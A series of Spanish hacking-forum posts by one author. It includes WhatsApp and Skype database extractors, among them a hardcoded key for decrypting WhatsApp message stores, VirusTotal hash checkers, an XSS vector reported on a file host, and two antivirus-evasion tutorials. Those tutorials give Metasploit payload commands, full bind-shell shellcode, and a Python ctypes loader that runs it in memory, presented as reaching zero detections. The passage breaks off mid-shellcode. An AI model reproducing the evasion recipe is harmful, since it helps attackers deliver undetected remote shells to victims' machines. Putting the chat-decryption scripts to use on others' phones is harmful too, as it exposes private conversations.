Profile Pictures : Aqui nos encontraremos con todas las imágenes de perfil(de usuario) que hemos mirado desde nuestro whatsapp.


NOTA IMPORTANTE : Para extraer la información de todos estos archivos que hemos obtenido he codeado un script que automatiza todo el proceso (a excepción del proceso de obtención de los ficheros , puesto que se supone que tenemos acceso físico al terminal.)




Ahora os mostraré un esquema en forma de arbol para comprender un poco como funciona el script que he preparado:

· WhatsApp Metadata Extractor :
       - main_manage.py (main de consola en forma de cliente)
       - DB_Extractor.py (extrae los metadatos de la BD)
       - metaimg_extractor.py (extrae los metadatos de los .jpg encontrados)


He dividido el proyecto en 3 scripts, main_manage es el encargado de interactuar con el cliente (el que debemos ejecutar), DB_Extractor es el encargado de realizar las consultas con la BD para extraer toda la información(la que nos interesa) y metaimg_extractor es el encargado de buscar en "Media" y en "Profile Pictures" en busca de metadatos en los archivos .jpg (La mayoria vienen con ellos eliminados por defecto pero no me digas por qué algunas imágenes no se filtran y son subidas sin filtrarse).


Sin más os dejo los codes :

main_manage.py :
Código: python
# -*- coding: utf-8 *-*
import DB_Extractor, metaimg_extractor

class WhatsApp_Extractor():

    def __init__(self):
        self.__opt()

    def __opt(self):
        #Uncomment the OPTION that you want to use

        #self.__opt1()  #-> DB METADATA EXTRACTOR
        self.__opt2()  #-> IMG METADATA EXTRACTOR
        #self.__opt3()  #-> BOTH, OPT1 AND OPT2

    def __opt1(self):
        print "DB METADATA"
        print "------------"
        DB_Extractor.DB_Extractor()
        print "------------"

    def __opt2(self):
        print "IMG META"
        print "------------"
        metaimg_extractor.IMG_Meta()
        print "------------"

    def __opt3(self):
        print "DB METADATA"
        print "------------"
        DB_Extractor.DB_Extractor()
        print "------------"
        print "\nIMG META"
        print "------------"
        metaimg_extractor.IMG_Meta()
        print "------------"

WhatsApp_Extractor()
[/spoiler]


DB_Extractor.py :
[spoiler]
Código: python
# -*- coding: utf-8 *-*
#Script to extract the metadata from the WhatsApp crypted DB

import sqlite3
from Crypto.Cipher import AES

class DB_Extractor():

    def __init__(self):
        self._manage_do()

    def _manage_do(self):
        try:
            self.__DB_Breaker('msgstore.db.crypt')
            self.__DB_conn()
            self.__SQL_Consulter()
            #Log exporter
        except:
            print "Error starting the script"

    def __DB_Breaker(self, DBPath):
        self.DBPath = DBPath
        #breaking the hash
        f = open(self.DBPath, 'rb')
        key = "346a23652a46392b4d73257c67317e352e3372482177652c"
        #triying to break the hash
        try:
            key = key.decode('hex')
            cipher = AES.new(key, 1)
            decoded = cipher.decrypt(f.read())
            #Saving into a new db file
            try:
                decoded_DB = open('metadb.db', 'wb')
                decoded_DB.write(decoded)
                decoded_DB.close()
                print "metadb.db has been created in the same directory"
            except:
                print "An error has ocurred creating the decoded DB"
        except:
            print "Error decoding the hash"


    def __DB_conn(self):
        #triying to connect with the sqlite database
        try:
            self.conn = sqlite3.connect('metadb.db')
            self.consult = self.conn.cursor()
        except:
            print "An error has ocurred connecting with the SQLite DB"


    def __SQL_Consulter(self):
        #Divided in :
            # Messages
            # Chat_list

        def __Messages():
            #SQLConsult
            try:
                self.consult.execute("SELECT key_remote_jid, key_from_me, \
                remote_resource, status, datetime(timestamp), data, media_url, media_mime_type, \
                media_size, latitude, longitude FROM messages;")

            except:
                print "An error has ocurred doing the SQL Consult"

            def __Shower():
                #Message details
                #nota : parsear status, comprobar si yo envio o recivo

                for data in self.consult:
                    try:
                        print "\nMessages Details:"
                        print "----------------------"

                        if str(data[2]):
                            if str(data[1]) == '1':
                                print "From: me"
                                print "To: %s(group), integrant: %s"%(str(data[0]), str(data[2]))
                            else:
                                print "From: %s(group), integrant: %s"%(str(data[0]), str(data[2]))
                                print "To: me"
                        else:
                            if str(data[1]) == '1':
                                print "From: me"
                                print "To: " + str(data[0])
                            else:
                                print "From: " + str(data[0])
                                print "To: me"

                        print "Status: " + str(data[3])
                        print "Timestamp: " + str(data[4])
                        print "Message: " + str(data[5])
                        print "Media content: %s, type: %s, size: %s"%(str(data[6]), str(data[7]), str(data[8]))
                        print "Location(Lat: %s, Long: %s)"%(str(data[9]), str(data[10]))
                        print "----------------------"

                    except:
                        continue
                        print "ERROR showing message details"

            __Shower()


        def __Chat_list():
            #SQLConsult
            try:
                self.consult.execute("SELECT id, \
                key_remote_jid FROM chat_list;")

            except:
                print "An error has ocurred doing the SQL Consult"

            def __Shower():
                #Chat list details
                for data in self.consult:
                    try:
                        print "\nChat_list"
                        print "ID: " + str(data[0])
                        print "Number: " + str(data[1])
                        print "----------------------"
                    except:
                        continue
                        print "ERROR showing chat list details"

            __Shower()

        #Initializing
        __Messages()
        __Chat_list()


metaimg_extractor.py :
Código: python
# -*- coding: utf-8 *-*
import os, exif

class IMG_Meta():

    def __init__(self):
        try:
            self.__Media_extractor()
            print "------------------------------------------------------\n"
            self.__Profile_extractor()
        except:
            print "An error has ocurred starting the script"
    def __Media_extractor(self):
        try:
            images = os.listdir('Media/WhatsApp Images/')
        except:
            print "An error has ocurred listing the files into the directory"

        def __Shower():
            for i in images:
                print "-------------"
                print i
                obj = exif.extract_EXIF('Media/WhatsApp Images/%s' % i)
                print "-------------"

        __Shower()

    def __Profile_extractor(self):
        try:
            images = os.listdir('Profile Pictures/')
        except:
            print "An error has ocurred listing the files into the directory"

        def __Shower():
            for i in images:
                print "-------------"
                print i
                obj = exif.extract_EXIF('Profile Pictures/%s' % i)
                print "-------------"

        __Shower()




Unas imágenes trabajando :

DB_Extractor :


IMG extractor :



El archivo "Exif" que importamos en el metaimg_extractor podemos encontrarlo en el proyecto de grampus en bitbucket -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PD : El Forense podría llegar a hacerse en mayor profundidad, en este caso solo tratamos los datos que podrían ser más relevantes como conversaciones, envio de archivos y el análisis de los metadatos de las imágenes.
En fin, esto es todo, el script os automatizará todo el trabajo "duro"


Saludos !! , Sanko.



PD : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#21
Python / Skype Metadata Extractor
Abril 22, 2013, 02:35:31 PM
Simple script para extraer metadatos del main.db de skype, los metadatos son extraidos ordenados por "Profile_details", "Conversations_details" y "Transfers_details"

Código: python
# -*- coding: utf-8 *-*
import sqlite3

class Skype_Meta_Extractor():

    def __init__(self, DBPath):
        self.DBPath = DBPath

        def __manager():
            try:
                self._Profile_Details()
                self._Conver_Details()
                self._Transfer_Details()
            except:
                print "An error has ocurred, please, try again"

        __manager()

    def __main_conn(self):
        try:
            #triying to connect with the sqlite database
            conn = sqlite3.connect(self.DBPath)
            self.consult = conn.cursor()
        except:
            print "Can't connect with the SQLite database'"

    def _Profile_Details(self):
        self.__main_conn()
        try:
            #SQL consult
            self.consult.execute("SELECT fullname, skypename, emails, country, city, languages,\
            datetime(profile_timestamp), datetime(avatar_timestamp),\
            datetime(registration_timestamp) FROM accounts;")
        except:
            print "An error has ocurred doing the SQL consult"

        def _another_info():
            try:
                #SQL consult
                self.consult.execute("SELECT phone_mobile, datetime(birthday) FROM contacts;")
            except:
                print "An error has ocurred doing the SQL consult"

            def __Shower():
                print "Extra info: "
                for data in self.consult:
                    try:
                        if data[0] and data[1]:
                            print "Phone: " + str(data[0])
                            print "Born Date: " + str(data[1])
                        else:
                            continue
                    except:
                        print "An error has ocurred showing the extra info"
                        continue

            __Shower()

        def __Shower():
            #Showing metainfo
            print "- Skype Profile Details"
            for data in self.consult:
                try:
                    print "---------------------------------------"
                    print "Full Name: " + str(data[0])
                    print "Skype Name: " + str(data[1])
                    print "Email: " + str(data[2])
                    print "Country: " + str(data[3])
                    print "City: " + str(data[4])
                    print "Language: " + str(data[5])
                    print "Last profile edition: " + str(data[6])
                    print "Last avatar edition: " + str(data[7])
                    print "Registration Date: " + str(data[8])
                    _another_info()
                    print "---------------------------------------"
                except:
                    continue
                    print "ERROR : An error has ocurred showing the profile info"

        __Shower()

    def _Conver_Details(self):
        self.__main_conn()
        try:
            #SQL Consult
            self.consult.execute("SELECT datetime(timestamp), \
            dialog_partner, author, body_xml FROM Messages;")
        except:
            print "An error has ocurred doing the SQL consult"

        def __Shower():
            #Showing metainfo
            print "\n- Skype Conversations Details"
            for data in self.consult:
                try:
                    print "---------------------------------------"
                    print "Start of the conversation: " + str(data[0])
                    print "Author: " + str(data[2])
                    print "Receiver: " + str(data[1])
                    if data[3]:
                        print "Message: " + str(data[3].encode('utf-8'))
                    else:
                        print "Message: " + str(data[3])
                    print "---------------------------------------"

                except:
                    continue
                    print "ERROR : An error has ocurred showing the Conversations info"

        __Shower()

    def _Transfer_Details(self):
        self.__main_conn()
        try:
            #SQL Consult
            self.consult.execute("SELECT partner_handle, partner_dispname, datetime(starttime),\
            filepath, filename, filesize FROM transfers;")
        except:
            print "An error has ocurred doing the SQL consult"

        def __Shower():
            #Showing metainfo
            print "\n- Skype Transfers Details"
            for data in self.consult:
                try:
                    print "---------------------------------------"
                    print "File receiver container: " + str(data[0]) + "/" + str(data[1])
                    print "Start time: " + str(data[2])
                    print "File path: " + str(data[3])
                    print "File name: " + str(data[4])
                    print "File size: " + str(data[5])
                    print "---------------------------------------"
                except:
                    continue
                    print "ERROR : An error has ocurred showing the transfers info"

        __Shower()


Skype_Meta_Extractor('main.db')


Working :







Saludos
#22
Python / File and Process VT Checker
Abril 11, 2013, 12:21:29 PM
Bueno, esta semana podría decirse que me la tome de descanso y tube un rato para poder escribir algún script que no tenga que ver con ninguna de los proyectos que tengo activos y coincidio que revisando udtools me tome con un post de FQV en el que posteaba un programa que buscaba el hash de tu archivo en virustotal para comprobar si alguien lo habia subido o no y tambien buscaba los hash de los procesos activos en tu winbug para comprobar si tenias algún ejecutable previamente subido en VT ejecutandose en tu máquina.

Como era de esperar , el source no estaba y como sentí curiosidad por la Public API de VT me decidí a hacer ambos scripts y que ideas como estas puedan prosperar tomando una base y no perder el tiempo codeando todo desde 0.
PD: Iva a esperar a hacer otro script más para publicar los 3 pero surgierón imprevistos y debo volver al "trabajo" así que solamente subo el file checker y el process checker.

VT File Checker :

Código: python
# -*- coding: utf-8 *-*
#It's a simple script to search the hash of the file in VirusTotal
#and check if your file has been uploaded to VT
#Sanko

import urllib, urllib2, hashlib, sys
import simplejson as json

class VT_File_Checker():

    def __init__(self, apikey, sFileName):
        self.apikey = apikey
        self.sFileName = sFileName
        self._ms_do()

    def _ms_do(self):
        try:
            self.__hash_extractor()
            self._report_check()
            self.__DataShower()
        except:
            print "Error, extracting the hash of the file"

    def _report_check(self):
        url = "https://www.virustotal.com/vtapi/v2/file/report"
        parameters = {"resource": self.md5.hexdigest(), "apikey": self.apikey}
        data = urllib.urlencode(parameters)
        try:
            req = urllib2.Request(url, data)
            response = urllib2.urlopen(req)
            re_json = response.read()
        except:
            print "Error connecting with the VT Api"
            sys.exit(0)
        #Parsing Json Data returned...
        self.report = json.loads(re_json)
        re_scan = self.report["scans"]
        for self.av in re_scan:
            self.detections = re_scan[self.av]["detected"]
            self.results = re_scan[self.av]["result"]
            try:
                self.__parser()
            except:
                print "Error showing the returned data"
                sys.exit(0)

    def __parser(self):
        if self.detections == True:
            print "%s : %s"%(self.av, self.results)
        elif self.detections == False:
            print "%s : Ok"%(self.av)
        else:
            print "ERROR Parsing the scan results"

    def __DataShower(self):
        show = """
Extra Data :
------------
Name : %s
Scan_id : %s
Scan_date : %s
Permalink : %s
--------------
Detections : %s/%s
        """
        print show%(self.sFileName, self.report["scan_id"], self.report["scan_date"],
        self.report["permalink"], self.report["positives"], self.report["total"])


    def __hash_extractor(self):
        #opening sFileName
        sFile = open(self.sFileName, 'rb')
        self.md5 = hashlib.md5()
        while True:
            data = sFile.read(8192)
            if not data:
                break
            self.md5.update(data)
        #self.sha1 = hashlib.sha1()
        #self.sha256 = hashlib.sha256()


VT_File_Checker('Aqui la key api', 'aquituejecutable.exe')


Imágen(Working):




VT Process Checker :

Código: python
# -*- coding: utf-8 *-*
#It's a simple script to search the hash of the active processes in VirusTotal
#and check if your active processes are uploaded in VT or not
#Sanko

import urllib, urllib2, hashlib, sys, wmi
import simplejson as json

class VT_Process_Checker():

    def __init__(self, apikey, sFileName):
        self.apikey = apikey
        self.sFileName = sFileName
        self._ms_do()

    def _ms_do(self):
        try:
            self.__hash_extractor()
            self._process_report()
            self.__DataShower()
        except:
            pass
    def _process_report(self):
        url = "https://www.virustotal.com/vtapi/v2/file/report"
        parameters = {"resource": self.md5.hexdigest(), "apikey": self.apikey}
        data = urllib.urlencode(parameters)
        try:
            req = urllib2.Request(url, data)
            response = urllib2.urlopen(req)
            re_json = response.read()
        except:
            print "Error connecting with the VT Api"
            sys.exit(0)
        #Parsing Json Data returned...
        self.report = json.loads(re_json)

    def __DataShower(self):
        data = """
---------------------
Name : %s
MD5 Hash : %s
Scan_date : %s
Detections : %s/%s

Permanent Link : %s
---------------------
        """
        print data%(self.sFileName, self.report["md5"], self.report["scan_date"],
        self.report["positives"], self.report["total"], self.report["permalink"])

    def __hash_extractor(self):
        #opening sFileName
        sFile = open(self.sFileName, 'rb')
        self.md5 = hashlib.md5()
        while True:
            data = sFile.read(8192)
            if not data:
                break
            self.md5.update(data)
        #self.sha1 = hashlib.sha1()
        #self.sha256 = hashlib.sha256()

c = wmi.WMI()
for process in c.Win32_Process ():
    if process.executablepath == None:
        continue
        #Into my virtual machine some process have None value
    else:
        try:
            VT_Process_Checker('Aqui tu api', process.executablepath)
        except:
            continue


Imágen(Working):


Saludos !  :drinking:
#23
Hola a todos ! llevo bastante tiempo de inactividad sin redactar ningún articulo por falta de tiempo (existen prioridades) y era hora de poder dedicarle un tiempo a compartir información.



Hoy os traigo un articulo relacionado con uno que ya escribí hace un tiempo "Evadiendo AV's con Python" en el qué nos serviamos de un shellcode generado por metaesploit, lógicamente aun siendo este embedido necesitariamos de más para poder conseguir un FUD o limpieza total, es por eso que hoy nos ayudaremos de MSFVENOM para cumplir nuestro objetivo.

- uy uy uy uy, sobrecarga de información! no te vayas al tejado! empieza por cimentar el suelo!

Totalmente cierto, empezaremos por cuestionarnos "¿Qué es msfvenom?" :

Cabe destacar que msfvenom es una herramienta "relativamente nueva" que surge para hacer la vida de los pentesters mucho más sencilla.
Esta herramienta no es más que la únion de "msfpayload" y "msfencoder" por lo que esta no te permite solo generar tu payload sino que permite que se codifíque directamente con algún algoritmo(los presentes en msfencoder).


Dicho esto y dejando claro que es una herramienta muy intuitiva (msfvenom -h para mostrar los parametros disponibles) comenzaremos a darle uso para comenzar a evadir antivirus de forma cómoda y rápida.


1 .Comenzemos a generar y a codificar nuestro payload ! :

Generaremos el payload que usamos en el último artículo :
Código: php
windows/shell_bind_tcp LPORT=1337 C


y para generarlo y codificarlo escribiremos :
Código: php
msfvenom --payload <ruta_del_payload> --encoder <algoritmo_de_codificacion> --iterations <numero_de_iteraciones_ algoritmo si el las permite > --bad-chars <caracteres_a_ignorar normalmente  recomendado  x00 >


Ejemplo :



Aun siendo codificado por msfvenom si transformamos este shellcode a exe comprobaremos que aun sigue con bastantes detecciones




Link del reporte
-> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bien, es hora de comenzar la magia !, usaremos el mismo script que utilizamos en la ocasión pasada , es decir , recurriremos a la libreria ctypes para crear un buffer que ejecute el shellcode en memoria.

Código: python
from ctypes import *

shellcode = ("\xda\xd7\xd9\x74\x24\xf4\xbd\xf8\xd2\x02\xa0\x5a\x33\xc9" +
"\xb1\x78\x31\x6a\x17\x83\xea\xfc\x03\x92\xc1\xe0\x55\xdc" +
"\x32\x6b\xba\x51\x62\xb4\x1c\xe5\xb0\xc1\xc5\x2e\x70\x98" +
"\x8b\x01\xf0\xc8\xe8\x8b\x08\xed\x9c\x90\x9c\x28\xae\xa2" +
"\x17\xa9\x68\x3b\xd6\x8e\xa4\x3a\x6b\xef\x7d\xbc\x40\xfa" +
"\xf4\xd0\x6e\x8c\x6e\x44\xcc\x7d\xe7\x9d\x5a\x74\xde\x78" +
"\x7d\x3a\x6a\x45\x5a\xa6\x25\xb0\xfb\x36\x1e\x48\xb3\xf6" +
"\xa6\x22\xc6\x85\xe8\x33\x87\xbe\x1d\xfc\xab\x13\x02\xd4" +
"\x82\x2b\xa1\xe5\x3e\x3b\xb5\x51\x33\x50\x16\xa3\xe4\x9f" +
"\x25\xc3\xe8\x89\xd4\xb0\xd1\x83\x50\x20\xcb\x76\x0f\x2d" +
"\x8a\x31\xd9\x3b\xc8\x82\xdd\x65\x94\x57\x04\x3e\x7e\x69" +
"\xa6\x63\xc9\x06\x19\x9d\x49\xe9\x3d\x45\xf5\x19\x5b\xa0" +
"\x8a\x97\x33\xd2\x50\xe6\xff\xc7\xe7\xd6\xb4\x5e\xdd\xcc" +
"\x14\xfd\x18\xc6\xb9\x0c\xd6\xf7\xa4\x9b\xf7\x33\x4d\x56" +
"\xe0\x03\xd8\x8d\xf4\xe9\xde\xa9\xc3\x10\xd5\x8b\xcc\x86" +
"\xf5\x93\x42\x50\x9f\x45\xc9\x10\x4d\x92\x81\xe9\xb1\x85" +
"\xee\x43\xea\x72\x62\x37\x4b\x64\xc5\x0c\xd8\x64\xc0\x38" +
"\xa4\xe1\xad\xf7\xa1\x7e\x50\x52\x72\xac\xef\xd1\x74\x21" +
"\xf3\xe9\xe3\x65\xdb\x26\x48\xd0\x63\x87\x93\x22\x4b\x86" +
"\x0c\x80\x12\x27\x6a\x2e\x1d\x09\x7e\xee\xd1\x0f\xfe\xbe" +
"\x39\x8a\xb2\x55\x03\x4a\xb2\xc2\x79\x36\x9d\xd6\x29\xf4" +
"\xef\x71\xff\xa9\xde\x76\xbd\x62\x60\x52\x12\x8e\x48\x42" +
"\x7d\xaf\x5e\x5d\xc2\xe1\xcb\x39\xee\x86\xe2\x11\x07\xf9" +
"\x6d\x92\xfa\x56\xa2\x1a\xa4\x2d\x2c\x0f\x19\x20\xa2\x34" +
"\x5f\x64\x1a\x05\x87\xe9\xd0\xd5\xa0\xb3\x58\x38\x3b\x2c" +
"\x14\xd0\x74\x16\x46\x7b\x63\xbe\x0c\xae\x08\x9c\x03\x0d" +
"\xed\x06\x99\x2f\xcd\x67\x09\x12\x8c\x29\x6b\x92\x0b\xc5" +
"\x3f\x13\x25\x2a\x77\x5b\xf7\xd8\x63\x87\x46\xb8\xa5\x36" +
"\xc1\xc5\xd5\xcb\x55\xa4\x6f\xd6\x05\x45\x9f\xac\x41\xbe" +
"\xac\xbb\xb8\x03\x46\x04\xde\xd3\x64\x46\x81\x30\x93\x7d" +
"\xd3\x55\x34\xdf\x83\xc4\xde\xf3\x42\x86\x90\xbf\x92\xa0" +
"\x81\xdc\x5e\x05\xc4\x8e\x83\xdb\x6f\x90\xb2\x46\xb1\x2a" +
"\xcd\xd8\x03\x91\xde\x9f\x4e\x05\x75\x2b\x25\x2d\xeb\xfc" +
"\xe5\xa8\x48\xf6\x9f\x77\x8b\xc1\xf4\x78\x0b\xbf\xb4\xc7" +
"\xa6\xb7\x0b\x56\x92\x1b\x40\xc8\x37\x54\xa5\x86\x5b\xaf" +
"\xfd\xab\xa6\x68\xf6\x7b\x0c\xef\x3a\x04\x34\xbe\x55")

memoria = create_string_buffer(shellcode, len(shellcode))
shell = cast(memoria, CFUNCTYPE(c_void_p))
shell()


Bueno , ahora con py2exe lo convertimos en un ejecutable y lo analizamos...



Scan para vagos :

RESULTS:   0/35
AVG Free -
ArcaVir -
Avast 5 -
AntiVir (Avira) -
BitDefender -
VirusBuster  -
Clam  -
COMODO  -
Dr.Web -
eTrust-Vet -
F-PROT  -
F-Secure  -
G Data -
IKARUS  -
Kaspersky  -
McAfee -
MS  Essentials -
ESET NOD32 -
Norman -
Norton  -
Panda  -
A-Squared -
Quick Heal  -
Solo  -
Sophos -
Trend Micro  -
VBA32  -
Vexira  -
Zoner AntiVirus -
Ad-Aware -
BullGuard -
Immunet  -
K7 Ultimate -
NANO  -
VIPRE -

File Name      encoded.exe
File Size:   5044988
File MD5:    f4a8fd68004d0f6f6de8d6a336a86bd2
File SHA1:   159eb4450af494787961ce7a093cccd11a764bc1
Check Time:  2013-03-22 23:59:23

Scan report generated by
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para nuestra sorpresa y como podemos observar esta TOTALMENTE FUD , 0/35, esto podría estar bien siempre y cuando el payload continuara siendo funcional, ejecutemoslo y veamos si realmente sigue funcionando :



Y ya con esto concluimos ! , espero que os sirviera de ayuda.
En este artículo no se profundiza en el uso de msfvenom ya que no es lo que se pretende, si deseas saber más acerca de él -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos, Sanko.
#24
Python / Grampus Project - Presentación detallada
Enero 27, 2013, 07:35:10 PM
Antes de empezar  aclarar que el motivo de la creación del tema es totalmente informátivo e incitativo a que otros desarrolladores python puedan colaborar con este proyecto.

Buenas , no hace mucho se ha publicado una entrada por parte de nuestro buen amigo Snifer  presentando un poquito y de manera general nuestro joven proyecto.
Así que estoy escribiendo este tema ya no como un "Coming Soon" sino como un tema en el que pueda describir un poco sus características y objetivos...


¿Qué es Grampus Project?



Grampus Project nace para todos aquellos usuarios que necesitan automatizar sus procesos en auditorias web.
Como sabemos la recopilación de información a la hora de realizar un ataque a un objetivo es esencial y a veces este proceso puede ser muy largo y pesado.
Fear the FOCA, de Chema Alonso y su equipo, cubre las necesidades de automatización que necesitamos a la hora del proceso de Fingerprinting y la extracción y el análisis de metadatos lo que no cubre es algo para muchos esencial, la cómoda multiplataforma.

Muchos somos usuarios Linux y nos resulta complicado tener que rompernos el coco para emularlo con WINE o incluso virtualizarlo en una maquina virtual con entorno Windows...
Es por todo esto que nace Grampus Project , para poder cubrir nuestras necesidades.

El proyecto se divide de esta manera :
- Forensic Grampus
- Anti-Forensic Grampus
- Grampus
- Anti Grampus

Aquí es donde entraremos ya en detalles ya que explicaré las características de cada uno...

- Forensic Grampus :
Forensic Grampus es una herramienta forense que pretende extraer y analizar los metadatos encontrados en documentos, imagenes , archivos, aplicaciones...
Esta totalmente programado en Python por lo que es la perfecta alternativa multiplataforma para Forensic FOCA superando a esta con creces en cuanto a extensiones soportadas.

(Para ver las extensiones soportadas puedes visitar nuestro proyecto en Bitbucket en el que trataremos de subir más información acerca de esto ya que puede variar a medida que vamos programando.)


- Anti-Forensic Grampus :
Anti Forensic Grampus es una herramienta ANTI forense que pretende eliminar o modificar aquellos metadatos encontrados en documentos, imagenes, archivos, aplicaciones...
Esta totalmente programada en Python por lo que es una buena alternativa a Metashield Protector proporcionando protección contra las mismas extensiones que podemos analizar en Forensic Grampus.


- Grampus :
Grampus es una herramienta para la automatización de procesos fingerprinting en los trabajos de auditoria web sumandole a esto la posibilidad de extraer y analizar los documentos públicos encontrados en la propia página a la que se le realiza la auditoria convirtiendose así en la alternativa multiplataforma Perfecta para FOCA de Chema Alonso y su equipo.


- Anti - Grampus :
Anti Grampus es una herramienta creada para evitar exponer datos o credenciales que puedan ser de utilidad en ese proceso de fingerprinting volviendo así a nuestro sitio más seguro.
Esta totalmente programado en Python así como las otras 3 herramientas y a diferencia de las demas esta surge como contramedida y no como una alternativa.



CONCLUSIONES :
Con esta explicación sobre nuestro proyecto espero que haya podido aclarar todas las dudas que se tenían al respecto e incluso tal vez pudiera animar a algún programador python a unirse al proyecto...
Actualmente estamos trabajando en la versión Forensic Grampus y al poco de acabarla procederemos a trabajar en Anti Forensic Grampus para más tarde poder centrarnos en la elaboración de Grampus y Anti Grampus.

SIGAN EL PROYECTO EN BITBUCKET:
Pueden seguir el proyecto en bitbucket : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
en el que iremos actualizando el proyecto.
Desarrolladores actuales :
- @The_Pr0ph3t (Pr0ph3t)
- @SankoSK (Sanko)
- @sniferl4bs (Snifer)
- @don_once (11Sep)
- OverxFlow

Por el momento el proyecto se encuentra en fase de desarrollo y por supuesto necesitamos de programadores python que se animen a contribuir con nosotros.
Lastimosamente hasta que la primera versión de cada uno no este publicadas como versión estable, tendremos un cupo limitado de programadores por lo que aceptaremos la entrada de quienes veamos conveniente aunque si podran disponer de permisos de lectura para ver el sourcecode.
Una vez tengamos la primera versión estable de cada uno abriremos el proyecto para que un gran cupo de personas pueda actuar como developer y crear sus propias modificaciones y demas cosas , eso sí , siempre en modo de branching , es decir, a modo de prueba para que los owners puedan visualizar dichas mejoras y considerar si pueden agregarse a la versión estable o no.

Con esto queda todo más que explicado y creo que puedo concluir con el tema.
Un Saludo , Sanko.
#25
Hacking ShowOff / Stored XSS and IFXSS mediafire.com
Enero 19, 2013, 09:30:20 AM
No hace un mes encontre una stored XSS en mediafire la cual fue reportada y reparada en un tiempo record y hoy subiendo unos trabajos me percate de que existía un IFXSS en el uploader...

Ya con 2 XSS en tan poco tiempo me decidí a mostraroslos en el hacking showoff

Stored XSS :



Vector -> "<h1 onclick=alert("XSS")>
Estado : Reportado y Fixeado :





IFXSS :


Vector -> "<h1 onclick=alert("XSS")>
Estado -> Reportado y en tramites de reparación.
#26
Python / Evadiendo AV's con Python
Enero 06, 2013, 10:16:38 PM


Buenas , coincidio estaba leyendo un librito (Violent Python) y un capítulo trataba sobre la evasión de antivirus...
Muchos me comentaban que conocían el libro pero que nunca les dio por leerlo, entre las principales razones pues por lo de siempre...

- "ESTA EN INGLÉS y como esta en inglés pues NO LO ENTIENDO BIEN"

Bueno , en este caso voy a "adaptar" un capítulo qué me llamo la antención para que veaís que no es dificil de leerlo y que pues bueno a veces por no leer en inglés os perdeís conocer muchas cosas interesantes...

Al lio...
1. Generar shellcode con código malicioso en msf(metasploit).
2. Escribir el script en python que nos permita ejecutar ese código.

1. Generar shellcode con código malicioso en msf(metasploit):

Abrimos msf :
Código: bash
sanko@Sanko-PC ~ $ su
Password:
Sanko-PC sanko # msfconsole


y generaremos este payload , escribimos :
Código: bash
msfpayload windows/shell_bind_tcp LPORT=1337 C


Aqui nos genera el shellcode
:


Ahora pasaremos directamente ese shellcode a exe y escanearemos :


y lo analizamos en un scanner online para por cuantos av's es detectado :


BBCode :
[spoiler] RESULTS:   23/35
AVG Free - Trojan horse Agent_r.OV
ArcaVir -
Avast 5 - Win32:Sileco [Trj]
AntiVir (Avira) - TR/Crypt.XPACK.Gen5
BitDefender - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
VirusBuster  -
Clam  - Trojan.MSF_Shellcode
COMODO  - TrojWare.Win32.TrojanDownloader.Small.~AOLO@104254503
Dr.Web - Trojan.Packed.196
eTrust-Vet - Win32/ASuspect.HHGCP
F-PROT  - W32/SmallTrojan.M.gen!Eldorado (generic, not disinfectable)
F-Secure  - Trojan:W32/Shell2Exe.A
G Data - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, Win32:Sileco [Trj]
IKARUS  - Trojan.Win32.Swrort
Kaspersky  -
McAfee - Generic Downloader.fa
MS  Essentials - TrojanDownloader:Win32/Sileco.A
ESET NOD32 - Trojan.Win32/Shellcode2EXE.A
Norman - winpe/Swrort.A
Norton  -
Panda  -
A-Squared - Trojan.Win32.Swrort!IK
Quick Heal  - Trojan.Agent.ATV.n3
Solo  -
Sophos - Mal/Silvana-B
Trend Micro  - TROJ_SMALL.SMJ2
VBA32  -
Vexira  -
Zoner AntiVirus -
Ad-Aware -
BullGuard - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Immunet  - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
K7 Ultimate - Riskware ( 22533fae0 )
NANO  -
VIPRE -

File Name      shellcode.exe
File Size:   20572
File MD5:    2be1f303fa36ac3d6d5e00f38fadc551
File SHA1:   58b63498b305df218cce0949a02ab91832d96348
Check Time:  2013-01-07 02:19:27

Scan report generated by
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[/spoiler]

23/35 , BUFF , muy quemado...

Pero esto se puede solucionar con nuestro queridito python...
Escribiremos un script que creara un buffer-string y que luego lo ejecute en memoria a traves de un módulo(API) -> Ctypes

Escribamos el script pues :

Código: python
from ctypes import *

shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
